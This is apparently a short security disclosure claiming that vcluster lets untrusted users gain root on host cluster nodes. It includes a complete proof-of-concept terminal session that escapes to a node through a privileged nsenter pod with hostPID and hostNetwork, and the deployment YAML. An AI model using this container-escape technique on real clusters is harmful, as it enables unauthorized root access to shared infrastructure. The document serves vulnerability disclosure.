0 - vcluster is insecure.md

vcluster is insecure

This is pretty straight forward, don't let people you don't trust use vcluster unless you want people to have root access to your cluster nodes.

Below is proof of concept on how to get root access as a user in a vcluster cluster.

I did the kubectl deployment documented here. The other deployments yield the same results.

vcluster-test$ kubectl create ns nesting-cluster
namespace/nesting-cluster created

vcluster-test$ kubectl -n nesting-cluster apply -f deploy_cluster.yaml
serviceaccount/vcluster-1 created
role.rbac.authorization.k8s.io/vcluster-1 created
rolebinding.rbac.authorization.k8s.io/vcluster-1 created
service/vcluster-1 created
service/vcluster-1-headless created
statefulset.apps/vcluster-1 created

vcluster-test$ kubectl -n nesting-cluster get pods
NAME                                                  READY   STATUS    RESTARTS   AGE
coredns-66c464876b-rfcmk-x-kube-system-x-vcluster-1   1/1     Running   0          15s
vcluster-1-0                                          2/2     Running   0          28s

vcluster-test$ kubectl -n nesting-cluster exec -it vcluster-1-0 -- sh
Defaulted container "virtual-cluster" out of: virtual-cluster, syncer

/ # kubectl create ns nesting-cluster
namespace/nesting-cluster created

/ # cat <<EOF | kubectl apply -f -
> apiVersion: v1
> kind: Pod
> metadata:
>   name: node-shell
> spec:
>   containers:
>   - command:
>     - nsenter
>     - --target
>     - "1"
>     - --mount
>     - --uts
>     - --ipc
>     - --net
>     - --pid
>     - --
>     - bash
>     - -c
>     - |
>       echo WELL THIS IS INSECURE > /dev/shm/hacked.txt
>     image: docker.io/library/alpine
>     imagePullPolicy: Always
>     name: nsenter
>     securityContext:
>       privileged: true
>     stdin: true
>     stdinOnce: true
>     tty: true
>   dnsPolicy: ClusterFirst
>   enableServiceLinks: true
>   hostNetwork: true
>   hostPID: true
>   nodeName: $(kubectl get nodes | grep -v ^NAME | head -n1 | awk '{print $1}')
>   preemptionPolicy: PreemptLowerPriority
>   priority: 0
>   restartPolicy: Never
> EOF
pod/node-shell created


/ # exit
vcluster-test$ 

vcluster-test$ kubectl node-shell docker-desktop
spawning "nsenter-mkcilr" on "docker-desktop"
If you don't see a command prompt, try pressing enter.

docker-desktop:/# cat /dev/shm/hacked.txt
WELL THIS IS INSECURE

deploy_cluster.yaml

apiVersion: v1
kind: ServiceAccount
metadata:
  name: vcluster-1
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: vcluster-1
rules:
  - apiGroups: [""]
    resources: ["configmaps", "secrets", "services", "services/proxy", "pods", "pods/proxy", "pods/attach", "pods/portforward", "pods/exec", "pods/log", "events", "endpoints", "persistentvolumeclaims"]
    verbs: ["*"]
  - apiGroups: ["networking.k8s.io"]
    resources: ["ingresses"]
    verbs: ["*"]
  - apiGroups: [""]
    resources: ["namespaces"]
    verbs: ["get", "list", "watch"]
  - apiGroups: ["apps"]
    resources: ["statefulsets"]
    verbs: ["get", "list", "watch"]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: vcluster-1
subjects:
  - kind: ServiceAccount
    name: vcluster-1
roleRef:
  kind: Role
  name: vcluster-1
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Service
metadata:
  name: vcluster-1
spec:
  type: ClusterIP
  ports:
    - name: https
      port: 443
      targetPort: 8443
      protocol: TCP
  selector:
    app: vcluster-1
---
apiVersion: v1
kind: Service
metadata:
  name: vcluster-1-headless
spec:
  ports:
    - name: https
      port: 443
      targetPort: 8443
      protocol: TCP
  clusterIP: None
  selector:
    app: vcluster-1
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
  name: vcluster-1
  labels:
    app: vcluster-1
spec:
  serviceName: vcluster-1-headless
  replicas: 1
  selector:
    matchLabels:
      app: vcluster-1
  template:
    metadata:
      labels:
        app: vcluster-1
    spec:
      terminationGracePeriodSeconds: 10
      serviceAccountName: vcluster-1
      containers:
      - image: rancher/k3s:v1.19.5-k3s2
        name: virtual-cluster
        command:
          - "/bin/k3s"
        args:
          - "server"
          - "--write-kubeconfig=/k3s-config/kube-config.yaml"
          - "--data-dir=/data"
          - "--disable=traefik,servicelb,metrics-server,local-storage"
          - "--disable-network-policy"
          - "--disable-agent"
          - "--disable-scheduler"
          - "--disable-cloud-controller"
          - "--flannel-backend=none"
          - "--kube-controller-manager-arg=controllers=*,-nodeipam,-nodelifecycle,-persistentvolume-binder,-attachdetach,-persistentvolume-expander,-cloud-node-lifecycle"  
          - "--service-cidr=10.96.0.0/12"  
        volumeMounts:
          - mountPath: /data
            name: data
      - name: syncer
        image: "loftsh/vcluster:0.3.0"
        args:
          - --service-name=vcluster-1
          - --suffix=vcluster-1
          - --owning-statefulset=vcluster-1
          - --out-kube-config-secret=vcluster-1
        volumeMounts:
          - mountPath: /data
            name: data
  volumeClaimTemplates:
    - metadata:
        name: data
      spec:
        accessModes: [ "ReadWriteOnce" ]
        resources:
          requests:
            storage: 5Gi